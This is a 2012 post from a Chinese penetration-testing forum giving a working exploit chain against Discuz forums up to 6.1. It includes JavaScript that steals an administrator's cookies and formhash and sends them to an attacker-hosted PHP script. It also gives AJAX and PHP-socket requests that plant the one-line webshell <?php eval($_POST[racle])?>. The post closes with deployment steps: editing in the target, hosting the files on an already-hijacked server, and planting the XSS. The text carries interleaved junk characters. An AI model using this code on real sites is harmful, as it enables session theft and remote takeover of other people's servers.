中国网络渗透测试联盟

标题: Discuz XSS得webshell [打印本页]

作者: admin    时间: 2012-9-13 17:11
标题: Discuz XSS得webshell
Discuz XSS得webshell
# u- w' P7 h5 z& NBy racle @tian6.com) Q& g& \; W2 L" O
欢迎转帖.但请保留版权信息.
* E, e# T& T" j5 h1 Q  T受影响版本iscuz<=6.1.0,gbk+utf+big5+ S( a2 l' Y" a/ m' [8 O
4 a* S  x8 }5 T4 c4 ~  M2 g
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.
: }0 E  |# }" a2 G0 R( o! V9 y) f, [" }9 Z  v& h
  l5 n0 a2 |7 p5 M! G2 a
3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=87060 _' y$ O4 T; _2 O1 J
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.- ]  b3 e( ?; F" |% T
: {5 E' ]' x4 n( Z/ b
分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等... Z6 c3 i+ |6 _( l
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS2 O' F! X$ {) A) X

, Q% b, p0 x9 ~/ L$ f- [; D9 R( O) V" C1 A: V( L2 H. Z" c- h
----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------
% t' F# p7 \3 l$ _
  e, ^8 e) l+ l4 l5 v/ {  M+ Q; x# q3 L& X6 U+ D5 P7 L
problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.
6 L5 T4 z; q0 ^6 M9 q! L( V" \4 Q
7 |6 i  C4 l% t5 k2 |8 xproblem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.- Y' L! [3 a  L& E: {2 H- F

9 O: v' O4 {8 L! ?" Y- a3 Uproblem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.& w# g7 M/ s) `2 D
2 m  Y  Z9 r/ r. e
3 [( G4 x6 a* y% c9 i- j
下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {
% _6 B* k( W  ?# B+ T( Y3 B
+ @+ }0 p' O2 `$ d+ d7 x$ G        global $runwizardfile, $runwizardhistory;) M8 z: d/ F) {2 d
* b/ K+ R. [5 @
        $fp = fopen($runwizardfile, 'w');% R  G4 I* Z  T; L! N8 R
7 U; c  K" v* d6 H4 ?
        fwrite($fp, serialize($runwizardhistory));3 N1 L' y: L" i8 `5 N

4 I# w3 k8 v9 I% }8 }: O0 S+ W        fclose($fp);
! Z/ F' u9 Y( F0 Z; v
9 K5 a4 P# c# Y}; W6 t" c! d3 ]7 o- ~! j4 p2 u
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.
1 ?% x% X! M! k) c4 {/ i* ?以下是修补的办法:function saverunwizardhistory() {9 N( h5 w" m5 T# U

4 q$ x8 i  W3 }$ }% I6 K0 ~' D        global $runwizardfile, $runwizardhistory;
; K& V# Y; b; ~5 Y% Y
" i, ?0 ]1 N3 m2 n! D# l        $fp = fopen($runwizardfile, 'w');; R. ^. m$ V/ X: e" m
2 Q0 O, Z/ x) w( ^) J
        $s = '<?php exit;?>';
' H/ [. ~) T6 R3 p" p  P/ [! H: q6 H/ a
        $s .= serialize($runwizardhistory);9 g6 a+ r# x. B7 u( C

; [/ A8 b4 u! j9 K# Q& Z        fwrite($fp, $s);) y! v0 Q! g7 O' s! i

/ s7 g/ \) H1 @% f$ i, g) V; b        fclose($fp);# Z# D5 Y( G" A6 |

+ L2 q" d, Z7 S: {0 T}& f! F% f4 }$ T+ [" a! c8 N
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.. k- Y" K/ Z  ]0 R! q" G
3 |, i# H0 a) D2 K0 k) S% z

1 }; w* G2 a: O3 Q) W
+ @; e0 i4 Z* {& E( ]----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------9 w  R3 S+ D) ~( Q) `
$ F+ A$ n  Z4 C+ B/ B( F8 \

7 F+ Y  m/ @4 M% C! o% K7 T% s  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.
$ f' S* u# x8 B" t5 O/ a" T  i2 \2 u9 b" _  b
我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.  u' D, o  z1 W1 f9 Q8 b# C

" j! k2 N1 O8 X$ x) a这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少." q& K, i3 W3 U

5 F' g" V) ?$ w首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:0 M4 f3 h3 }6 b+ B, F& q, i

  w  S$ x; T# }* u9 O* wvar url="http://目标网站/admincp.php";      
2 L* p6 X; l" v2 H+ c5 v% t  S  d9 n, y- Z- X; c! q2 d3 Z
/*获得cookies*/
; G; v. ]" u9 Q3 O
2 t  Z) ]7 I) `+ v& d) ]' bfunction getURL(s) {
0 ?3 F. e( E& y  D3 E7 z" T. L1 B. h4 e/ O& O0 u
var image = new Image();
' W( b+ P  A1 v9 V. `5 r, ]3 V  W  z- R4 A7 {# O. V
image.style.width = 0;6 M+ k2 r* r, o* i* v0 c; `
; E' T; @; M, i& C9 G
image.style.height = 0;" I: o4 t8 T# a

0 C& W# P. e0 S( {6 w6 i% X( Eimage.src = s;
7 W" K; a: p$ [& {0 }
) w, x- w& i" j. _$ C; b2 H}6 U4 n) p3 ]1 c& x: e. ?

/ W/ d1 K, V; c, E* z/ NgetURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php; O4 p9 Y9 D4 i. y. l  T
复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];5 m4 ]$ a) P1 ]
复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) 5 ~9 C. ?# E: r" j6 |6 c

# h+ f5 C& [/ Y- U  t* O* T* ]- N& U: _
获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";
6 T2 \. Y8 W1 t  t, e1 H! R6 }! _$ A! h) b8 l1 x

6 V1 e" v+ l6 D" G: v: y" c9 P/ o1 R& g/ q2 {
/*hash*/
8 ^" F" y7 @; e+ j* l3 G2 h( Z" H
2 `$ x3 ^  J8 yvar xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");/ `/ X; u( H& F# `6 H0 _' k
% V" W" P1 v& o; [! i0 h
xmlHttpReq.open("GET", url+"admincp.php?action=home", false);
+ X' l, U- X7 G& {3 m& q3 _2 ]2 _4 U$ ?6 M) X
xmlHttpReq.send();) @" S9 I& Q2 W
# t6 b( A7 n% ~5 w* ?- j3 @
var resource = xmlHttpReq.responseText;7 |, L$ V( x1 @( g& A

7 P+ U! {- P- w2 Y2 m8 _var numero = resource.search(/formhash/);9 R' ~$ T, q/ B- q2 t
, F) J4 b. ~0 J+ s+ W7 @0 J1 x
var formhash=encodeURIComponent(resource.substr(numero+17,8));
, [$ M( h- D# t" b8 _4 V; {' Z  B: a/ k3 N% }$ Z1 i4 r
9 _: ~" ?6 k1 g( Z4 U

4 K6 v% E0 f) R  C7 H' d; V1 W! xvar post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据 ; ]0 |- W8 O+ @  _" k) j

2 K, B6 T1 Y$ ]6 Y7 b" hxmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信
3 y3 C" d' T0 B; f) t/ o5 F: `% h' s3 h! T
xmlHttpReq.setRequestHeader("Referer", url);% [% ~& {) z6 y9 W9 }: p) r4 |8 P

8 ?; x" F) F9 n  C% AxmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");& \) F3 i2 w+ G9 H  j
, p, [7 H% [" ?7 N
xmlHttpReq.setrequestheader("content-length",post.length);   M3 i( W" M0 T4 S  n0 V+ y9 l2 x
0 ~: i9 u( C: H: o2 H% n
xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded");
( J% U) B7 g1 b8 g1 f
5 b0 M6 _) M# P, t, WxmlHttpReq.send(post);//发送数据
( R2 J" {: u( M' I  ~5 I9 n, W2 `3 t复制代码这里HASH我假设正确,这样提交,也无须cookies
5 @$ {! q3 y, e" t5 w" x( N% M7 K% ~
再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);
/ p* I. m+ K) y/ N6 M- G: ^6 y
1 Z+ L* a1 G4 V% W" p% w& ^* kif (!$sock) die("$errstr ($errno)\n");
8 x: N0 J& J; q; T5 s( A
/ d/ H# ~# E* E) Q+ r9 v( _  P$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';8 j2 |8 G, A) `% z, s* Y
1 H3 b: L8 N8 j. x0 Q
. [1 `  o! }- u' Z9 D
9 G2 p8 G9 c2 Y4 y5 p0 E
fwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");
; e9 W% @4 Z* G) G4 z2 A6 R
( v. o# R+ G  X3 s8 d, A; n; y) |/ C' efwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");* X; ~0 F- T& d
- s; u4 n, f7 s2 e
fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");" H2 j( z; [1 q' V' x. p
! m8 _: Q5 J; |1 m+ m
fwrite($sock, "Accept-Language: zh-cn\r\n");
; F' T, |# C) |! b) r' V) R$ d2 L- \
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
$ S# T4 n! H+ t! A- U, K, N$ t1 s1 m# L% ^
fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
; r7 K, P; `! S- p. \
8 k. P0 V+ g2 d, P; X6 Qfwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");- Q! M2 b' Q6 a! S& w. r0 a" l
6 l7 g# u* Q- @
fwrite($sock, "Host: $url\r\n");
: |! V  }: w: B% I/ Z3 B! Y; R! s
/ c2 w4 @; j4 `) Vfwrite($sock, "Content-Length: ".strlen($data)."\r\n");
! @! r2 ^$ w, e+ a; v( k" [
" F1 m8 w+ B$ Qfwrite($sock, "Connection: Keep-Alive\r\n");! p6 e  A9 S6 R5 W) C6 l# `2 K

5 m9 R( q5 _/ u- vfwrite($sock, "Cache-Control: no-cache\r\n");
9 m' G7 Y. }7 s
& C) p1 H+ [! q* R/ u4 Jfwrite($sock, "Cookie:".$cookies."\r\n\r\n");
" z1 W2 H$ p8 N% S9 S
/ q) U. g- Z" [  O$ a2 J% Mfwrite($sock, $data);
( ]( P8 i% m1 p: I5 `1 K6 |& |, k" G; E; S

$ m- W& Q$ M( H* s+ S: P' i9 [/ C( h  v! s& ~
$headers = "";0 y2 ~/ r6 H# y# W  A6 ?1 T

; @* L! M' A8 ?# ywhile ($str = trim(fgets($sock, 4096)))! C. ?: Y1 [2 b! [

. ?: D3 b6 _5 h     $headers .= "$str\n";" [8 M7 I. w5 {' ]- _: p

( `# n' I' r; g2 d* mecho "\n";/ X+ v1 m! ~2 S0 T: @- M

" `! H* w. v+ u; ]$body = "";
* r1 g0 e! o" E9 [" ~" Y0 n& O) o/ R3 r; z
while (!feof($sock))1 m6 D5 k. q7 r4 F) W% u

) P7 O$ u; G, W     $body .= fgets($sock, 4096);
' s  U+ Z' ]& O2 b; u) u& ]! G# T' g" t3 M* I$ E$ ~9 s' G; A
fclose($sock);% h4 m( ~7 i: I5 ^/ ]3 K/ H/ j

. C, d2 f1 \4 c3 K* {( k4 u9 cecho $body;) ^1 v) ^' K( Y+ ?% H
复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^
3 G, |5 y% K4 O0 p$ {7 N, C  r( K% u  A6 `4 {$ A4 g+ f  G& [
) k2 l( T+ ^5 ^0 j) Z% y. e5 _
-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------
! R1 s" U5 E" ~, g6 t+ Q) {# E; q( v% _6 x6 ]# t" k

; S6 q5 x& r. O9 c+ N4 O1HP SOCKET利用方法首先打开racle.js
) d) z) e5 I9 W- ?$ y" j& C; R5 i5 t7 v+ J% d* _+ V: t
var url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home8 ~( X$ o4 F4 g9 e/ r1 C3 N5 u
% L& s. Z2 e. @, `$ {+ V
0 W, G2 Y- k7 g* K3 P) R
1 @0 A: y! q" U) U" {% \7 b- y
然后打开racle@tian6.php* U' f5 e7 b( j# m1 A* ^
; g# e, `7 d3 Y' W# B/ |# A' r$ t
$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com
/ k) k, j1 l$ x5 T) G9 G; k# x+ W, B1 x/ a

" j( i& t& B$ g( L1 O% Y" O& N0 t& |, w: f  U
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:8 c* N* R4 b1 f; q* y

$ b5 K; P4 _/ wgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));
# a1 M6 g( T3 x, V0 y1 p! g/ B! k+ s! K3 `" \
& b( `) G7 K  J

" k5 G( ^, v+ S7 @9 K% E% CgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));: z0 [$ v2 l% ~) Q
复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.& A# K1 [; |% r9 d$ A/ t* ]; K

9 I. U6 z, [. |( Z* b5 u/ [: Z' m/ s& O( f( ~( O

5 u% @* f! V- h  l3 a7 x) C如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
, m' E- D' i' g5 \( }1 T! X) Z- u8 _( X/ [& e( \( k. h! m! X- p
var formhash=encodeURIComponent(resource.substr(numero+17,8));
6 Y/ H4 |/ F. v4 M" W/ K! g8 L1 h: K4 O; Q0 {3 c4 \2 y
( L$ ?; H. R! T; ^. e$ g, A

0 g4 V' D6 h$ w$ ~0 pvar formhash=encodeURIComponent(resource.substr(numero+9,8));
7 D" M, R3 X& F  R( W. d( S, t复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧." V6 i( s  _# `- h

1 H# H) ^$ a9 {如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.
9 n5 ]1 j; q) M; h, b0 [% |1 V% x
8 q- C' P+ ~8 g) u- F  D8 y: H. u$ U+ ^如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.& x% Y0 I9 b* t5 [- `

5 ^; k2 B3 a1 K- A, B& j5 f- \3 a" N不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.' I! K4 y8 E1 v3 Y2 E# z& l: c8 Z4 r

. d3 O# K; J9 ?* H9 T) Z' }* Z




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2